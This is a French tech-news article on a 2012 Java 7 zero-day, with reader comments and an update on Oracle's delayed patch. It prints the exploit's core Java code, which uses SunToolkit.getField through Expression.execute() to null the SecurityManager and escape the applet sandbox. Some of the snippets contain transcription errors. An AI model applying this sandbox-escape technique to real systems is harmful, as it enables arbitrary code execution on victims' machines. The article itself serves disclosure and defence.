Le nouvel exploit zero-day de Java 7 décortiqué
Il permet de désactiver le sandbox avec une facilité déconcertante

Le , par tarikbenmerar, Chroniqueur Actualités
Le grave exploit 0Day révélé au grand jour ce week-end (lire ci-devant) fait l'objet d'analyses approfondies de la part d'experts en sécurité.

L'analyse de Michael Schierl, traqueur récidiviste de vulnérabilités Java, met l'index sur une faille de sécurité dans l'implémentation de la méthode .execute() de la classe Expression. L'exploit n'utilise en aucun cas du bytecode, il n'est, en somme, pas très sophistiqué, mais reste difficile à détecter.

L'exploit utilise la classe sun.awt.SunToolkit pour désactiver le SecurityManager et par conséquent le sandbox de Java. Il ouvre ainsi le champ vers une liberté totale sur le système.

Pour mieux comprendre, il faut savoir que cette classe propose une méthode nommée getField(), qui donne accès, en lecture et écriture, aux attributs privés d'autres classes.

En principe, un code ne peut accéder à ces attributs, mais la nouvelle méthode .execute() de la classe Expression introduite dans Java 7 souffre d'un bug, qui expose dangereusement la méthode getField(). Dès lors, un code pareil peut faire des ravages :

Code :
1
2
3
4
5
6
7
8
9
10
11
12
13
private void SetField(Class paramClass,  
                      String paramString, 
                      Object paramObject1,  
                      Object paramObject2) throws Throwable 
{  
  Object arrayOfObject  = new Object[2];  
  arrayOfObject[0] = paramClass; 
  arrayOfObject[1] = paramString; 
  Expression localExpression = new Expression(GetClass("sun.awt.SunToolkit"), 
                                                  "getField", arrayOfObject); 
  localExpression.execute(); 
  ((Field)localExpression.getValue()).set(paramObject1, paramObject2); 
}

À partir de ce bout de code, on peut désactiver le sandbox en appelant System.setSecurityManager(null). Pour cela, l'exploit crée un objet Statement pour appeler cette méthode.

Néanmoins, un appel direct n'est pas permis, et sera considéré comme non sûr.
Pour contourner cette restriction, un objet AccessControlContext est créé en premier qui représente en fait une classe démarrée à partir du disque dur local, et bénéficie ainsi de tous les droits d'accès.

Code :
1
2
3
4
5
6
7
8
9
10
11
12
13
public void disableSecurity()  
    throws Throwable  
{  
  Statement localStatement = new Statement(System.class, "setSecurityManager", new Object[1]);  
  Permissions localPermissions = new Permissions();  
  localPermissions.add(new AllPermission());  
  ProtectionDomain localProtectionDomain = new ProtectionDomain(  
    new CodeSource(new URL("file:///"), new Certificate[0]), localPermissions);  
  AccessControlContext localAccessControlContext =  
    new AccessControlContext(new ProtectionDomain{localProtectionDomain});  
  SetField(Statement.class, "acc", localStatement, localAccessControlContext);  
  localStatement.execute();  
}
Oracle n'a pas encore annoncé la sortie d'un correctif. Java 7 Update 6 est la dernière version téléchargeable. Toutes les mises à jour de Java 7 souffrent de cette même vulnérabilité.

Ainsi, on préconise de carrément désactiver le plug-in Java du navigateur, sous peine, d'ouvrir une brèche que des malwares n'hésiteront pas à exploiter.

Source : le code de l'exploit

Et vous ?

Oracle réagira-t-il assez vite pour éviter une catastrophe virale ?
Quel est le vrai potentiel d'un tel exploit ?
Les IDS et les antivirus seront-ils suffisants ?


Vous avez aimé cette actualité ? Alors partagez-la avec vos amis en cliquant sur les boutons ci-dessous :


 Poster une réponse

Avatar de tchize_ tchize_
http://www.developpez.com
Expert Confirmé Sénior
le 29/08/2012 22:29
a pleurer. En gros on a un securityManager, et derrière on a awt, qui a des droits privilégiés sur le securitymanager, et qui en fait profiter celui qui veux
Avatar de Crazyfaboo Crazyfaboo
http://www.developpez.com
Membre confirmé
le 30/08/2012 0:42

WTF (Ouate 2 phoque) !!!
Juste… sur le cul… !!
Avatar de andry.aime andry.aime
http://www.developpez.com
Rédacteur/Modérateur
le 30/08/2012 7:32
localPermissions.add(new AllPermission());

Citation Envoyé par Eric Cartman
ça troue le ***

Citation Envoyé par tchize_  Voir le message
En ce qui me concerne, java fx, c'est mort et enterré

Non, c'est un zombie .
Avatar de pmithrandir pmithrandir
http://www.developpez.com
Expert Confirmé
le 30/08/2012 9:26
tient, grace a ca, je viens de m'apercevoir que le bouton disable java de la barre webdeveloper ne fonctionne pas je vois le smiley même quand java est sencé être desactivé.
Avatar de JoeChip JoeChip
http://www.developpez.com
Membre chevronné
le 30/08/2012 9:33
Moralité, connue depuis des décennies : il ne faut JAMAIS se presser pour installer une nouveauté...
Avatar de wax78 wax78
http://www.developpez.com
Modérateur
le 30/08/2012 11:06
En tout cas, Avira semble ne pas trop aimer l'exploit en question il le détecte directement (quand lancé dans eclipse, pas depuis un browser). Enfin, Jusqu'à ce que le code soit un peu modifié, et la plus de détection

Mais en applet dans le browser Avira ne bronche même pas
Avatar de andry.aime andry.aime
http://www.developpez.com
Rédacteur/Modérateur
le 30/08/2012 12:01
Citation Envoyé par JoeChip  Voir le message
Moralité, connue depuis des décennies : il ne faut JAMAIS se presser pour installer une nouveauté...

Mais Kevin pense que les nouvelles versions apportent plus de sécurité et de gadget, et plouf . D'ailleurs les failles existent très souvent mais on utilise que les applications qui l'on pense plus fiable.
Avatar de Awakening Awakening
http://www.developpez.com
Membre du Club
le 30/08/2012 12:25
Citation Envoyé par andry.aime  Voir le message
Mais Kevin pense que les nouvelles versions apportent plus de sécurité et de gadget, et plouf

Mais Kévin n'aurait pas forcément tort, il y a des chances qu'une mise à jour répare certaines failles/bug.

Et de toute façon le tort n'est pas censé venir de l'utilisateur lambda qui n'est pas censé savoir que Java (ou Flash) est réputé pour avoir quelques failles.
Avatar de tchize_ tchize_
http://www.developpez.com
Expert Confirmé Sénior
le 30/08/2012 13:17
bref, finalement, l'idée de microsoft de résoudre les problèmes en mettant tout le navigateur dans une sandbox, c'était pas si con
Avatar de Uther Uther
http://www.developpez.com
Expert Confirmé Sénior
le 30/08/2012 14:10
Sauf que non vu que l'on a également trouvé des moyen de contourner cette sandox
Avatar de tchize_ tchize_
http://www.developpez.com
Expert Confirmé Sénior
le 30/08/2012 14:13
ouais mais du coup ça fait deux sandbox à contourner et contourner la sandbox IE à partir du java....
Avatar de Hinault Romaric Hinault Romaric
http://www.developpez.com
Responsable Actualités
le 30/08/2012 14:18
Faille de sécurité critique dans Java 7
Oracle informé depuis avril 2012

Mise à jour du 30/08/2012

Depuis le début de cette semaine, l’écosystème Java est secoué par une faille de sécurité critique pouvant être exploitée pour installer des logiciels malveillants (lire ci-devant).

La vulnérabilité qui touche la version 1.7.x du JRE (Java Runtime Environment), peut être utilisée pour désactiver le SecurityManager et par conséquent le sandbox de Java pour exécuter du code arbitraire sur les systèmes vulnérables sans l’intervention de l’utilisateur.

Les experts en sécurité ont fait écho de cette faille après des analyses approfondies, révélant les systèmes d’exploitation touchés, les potentiels risques, les preuves de réalisation, etc.

Mais jusqu’ici, malgré tout ce remue-ménage, Oracle fait la sourde oreille et n’a encore publié aucun avis de sécurité ou annoncé une date pour une mise à jour. Ce qui parait le plus surprenant est qu’il semblerait que la société soit au courant de cette faille depuis avril 2012.

Le cabinet polonais Security Explorations avait publié un avertissement depuis le 2 avril 2012 et aurait informé Oracle, qui ne prendra même pas la peine de référencer le problème dans son bulletin d’alerte de sécurité.

Jusqu’ici, la page qui traite des questions de sécurité de la firme annonce la prochaine mise à jour de Java SE pour le 16 octobre 2012. Plus qu’à espérer que d’ici là, un correctif d’urgence soit publié.

Pour l’instant, les utilisateurs n’ont que comme alternative la désactivation du plug-in Java dans leur navigateur. Pour rappel, la faille touche Firefox sur Ubuntu 10.04, Internet Explorer, Chrome et Firefox sur Windows XP, Vista et Windows 7, Firefox et Safari sur Mac OS X 10.7.4.

Source : Avertissement de Security Explorations, Alerte d'Oracle sur la faille

Et vous ?

Que pensez-vous de l’attitude d'Oracle ?
Avatar de Gugelhupf Gugelhupf
http://www.developpez.com
Membre Expert
le 30/08/2012 14:28
Des fois je suis surpris de lire des articles comme celui-ci, je me dis que nous sommes peut-être quelques milliers d'informaticiens à lire ces infos et qu'il doit y avoir des centaines de milliers d'autres personnes qui n'en seront jamais au courant et qui seront peut-être affectés.

Je ne comprend pas trop cette haine des plugins et l'émerveillement devant le javascript. Ce vieux langage pourris des années 90 que personne voulait utiliser.
Toutes ces années de recherches sur les Langages pour finalement imposer Javascript comme langage universel

Pour moi JavaScript n'est pas un langage très au point, mais je pense que les gens préfèrent rester avec cela et utiliser des frameworks cache-misère (qui avouons le sont très pratiques pour développer) que d'apprendre un énième nouveau langage.
Avatar de Crazyfaboo Crazyfaboo
http://www.developpez.com
Membre confirmé
le 30/08/2012 14:35
Si Oracle est au courant depuis Avril, ça veut dire que ça concernait aussi Java 7 update 3, 4 et 5...
Avatar de thelvin thelvin
http://www.developpez.com
Modérateur
le 30/08/2012 14:47
Citation Envoyé par Gugelhupf  Voir le message
Des fois je suis surpris de lire des articles comme celui-ci, je me dis que nous sommes peut-être quelques milliers d'informaticiens à lire ces infos et qu'il doit y avoir des centaines de milliers d'autres personnes qui n'en seront jamais au courant et qui seront peut-être affectés.

C'est pour ça que Firefox se permet de désactiver des plugins de temps en temps, en demandant à peine l'avis de la personne mal informée. On peut en dire ce qu'on veut en terme de comportement politique, en attendant c'est une sécurité accessible à tout le monde.

Citation Envoyé par Gugelhupf  Voir le message
Pour moi JavaScript n'est pas un langage très au point, mais je pense que les gens préfèrent rester avec cela et utiliser des frameworks cache-misère (qui avouons le sont très pratiques pour développer) que d'apprendre un énième nouveau langage.

Spas un nouveau langage à apprendre, s't'un nouveau langage à adapter, sécuriser, accélérer, intégrer, déployer. Pas la même chose.
Avatar de Freem Freem
http://www.developpez.com
Expert Confirmé
le 30/08/2012 16:24
Et sinon... je sais que java a tendance à être installé par défaut sur nombre de machines, mais... vous en avez beaucoup vous, en tant qu'utilisateurs, des applications java? Ou vous en voyez beaucoup des applets java sur le net?

Quand j'y pense vraiment, je me dis qu'aucune machine parmi celles que j'utilise actuellement n'utilise java... Alors à part les terminaux mobiles d'android, qu'est-ce qui est réellement affecté?

Quand on dit "faut pas désinstaller java pour si peu" ok, mais... désinstaller les logiciels dont on ne se sert pas est aussi un élément de sécurité. Et je me demande vraiment si JAVA sert tant que ça... p'tet en entreprise avec les logiciels internes?

En tout cas, chapeau oracle pour la réactivité... plus de 4 mois sans corriger une faille d'une telle criticité, c'est impressionnant.
Avatar de JoeChip JoeChip
http://www.developpez.com
Membre chevronné
le 30/08/2012 16:42
Entendu parler de Minecraft...?
Avatar de zyhou zyhou
http://www.developpez.com
Membre du Club
le 30/08/2012 17:00
jdownloader pour ma part.
Avatar de ghuysmans99 ghuysmans99
http://www.developpez.com
Futur Membre du Club
le 30/08/2012 17:11
@Freem : OpenSign, des applis gouvernementales belges comme Tax-On-Web...
Avatar de guidav guidav
http://www.developpez.com
Membre émérite
le 30/08/2012 17:54
Citation Envoyé par Freem  Voir le message
Et sinon... je sais que java a tendance à être installé par défaut sur nombre de machines, mais... vous en avez beaucoup vous, en tant qu'utilisateurs, des applications java? Ou vous en voyez beaucoup des applets java sur le net?

La déclaration d'impôts en France, non ?

Sinon, il y a pas mal d'applis internes qui sont développées en java.
Avatar de dragon-noir dragon-noir
http://www.developpez.com
Candidat au titre de Membre du Club
le 30/08/2012 19:47
bonsoir ,
java7 update 7

dispo sur http://java.com/fr/download/manual.jsp

ne sait pas s'il elle comble la faille de sécurité silence radio pour l'instant

http://www.oracle.com/technetwork/ja...ads/index.html

Mise à jour Java SE 7 7 Paru
Cette mise à jour corrige des vulnérabilités de sécurité récentes. Oracle recommande vivement à tous les utilisateurs de Java SE 7 jour vers cette version.
http://www.oracle.com/technetwork/ja...iew/index.html
Avatar de Uther Uther
http://www.developpez.com
Expert Confirmé Sénior
le 30/08/2012 21:08
Citation Envoyé par tchize_  Voir le message
ouais mais du coup ça fait deux sandbox à contourner et contourner la sandbox IE à partir du java....

A partir du moment ou tu as désactivé la sandbox Java, tu peux faire appel à du code natif.

Citation Envoyé par Freem  Voir le message
Alors à part les terminaux mobiles d'android, qu'est-ce qui est réellement affecté?

Android se base sur sa propre VM (un dérivé de Harmony), il n'est donc pas affecté.

Citation Envoyé par Freem  Voir le message
Quand on dit "faut pas désinstaller java pour si peu" ok, mais... désinstaller les logiciels dont on ne se sert pas est aussi un élément de sécurité. Et je me demande vraiment si JAVA sert tant que ça... p'tet en entreprise avec les logiciels internes?

Il est vrai que Java est très peu utilisé pour les applets.
Mais il reste encore utilisé pour les applications. Pour ne citer que celles de j'utilise régulièrement : Azureus, Minecraft, Eclipse, JEdit... Dans le cadre des applications locales, ce genre de faille est généralement sans conséquence.

Donc dire désinstaller Java est clairement abusé. Par contre désactiver le plugin du navigateur est une bonne idée si on n'en a pas usage, et même indispensable en ce moment.
Avatar de wax78 wax78
http://www.developpez.com
Modérateur
le 30/08/2012 23:31
Citation Envoyé par ghuysmans99  Voir le message
@Freem : OpenSign, des applis gouvernementales belges comme Tax-On-Web...

Merde j'ai raté l'occasion d'être riche cette année ^^
Avatar de tchize_ tchize_
http://www.developpez.com
Expert Confirmé Sénior
le 30/08/2012 23:52
Citation Envoyé par wax78  Voir le message
Merde j'ai raté l'occasion d'être riche cette année ^^

Reve pas c'est du java serveur, pas concerné par ce problème d'appelt
Avatar de wax78 wax78
http://www.developpez.com
Modérateur
le 31/08/2012 9:15
C'était une vanne hein
Offres d'emploi IT
Ingénieur Systèmes (H/F)
CDI
Ajilia - Ile de France - Paris (75002)
Parue le 28/10/2014
Architecte systèmes sharepoint h/f
CDI
MCNEXT - Ile de France - Paris (75002)
Parue le 31/10/2014
Consultant en innovation (h/f)
Stage
SOLUCOM - Ile de France - Paris (75000)
Parue le 31/10/2014

Voir plus d'offres Voir la carte des offres IT
 
 
 
 
Partenaires

PlanetHoster
Ikoula